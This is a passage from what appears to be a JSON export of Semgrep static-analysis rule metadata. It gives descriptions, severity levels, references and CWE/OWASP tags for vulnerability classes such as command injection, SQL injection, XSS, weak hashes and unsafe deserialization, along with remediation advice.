Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","id":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","name":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"help":{"markdown":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1)\n - [https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html](https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html)\n - [https://shattered.io/](https://shattered.io/)\n","text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","id":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","name":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","id":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","name":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection","id":"python.flask.security.injection.subprocess-injection.subprocess-injection","name":"python.flask.security.injection.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa","id":"python.cryptography.cryptography-dsa.cryptography-dsa","name":"python.cryptography.cryptography-dsa.cryptography-dsa","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-dsa.cryptography-dsa"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","id":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","name":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","id":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","name":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","id":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","name":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","HIGH CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path","id":"cpp.lang.security.system-command.command-injection-path.command-injection-path","name":"cpp.lang.security.system-command.command-injection-path.command-injection-path","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.command-injection-path.command-injection-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","id":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","name":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"help":{"markdown":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - [https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/](https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/)\n","text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version","id":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","name":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-ssl-version.insecure-ssl-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL)\n","text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","id":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","name":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","id":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","name":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","id":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","name":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"help":{"markdown":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5","id":"clojure.lang.security.use-of-md5.use-of-md5","name":"clojure.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)\n\n<b>References:</b>\n - [Semgrep 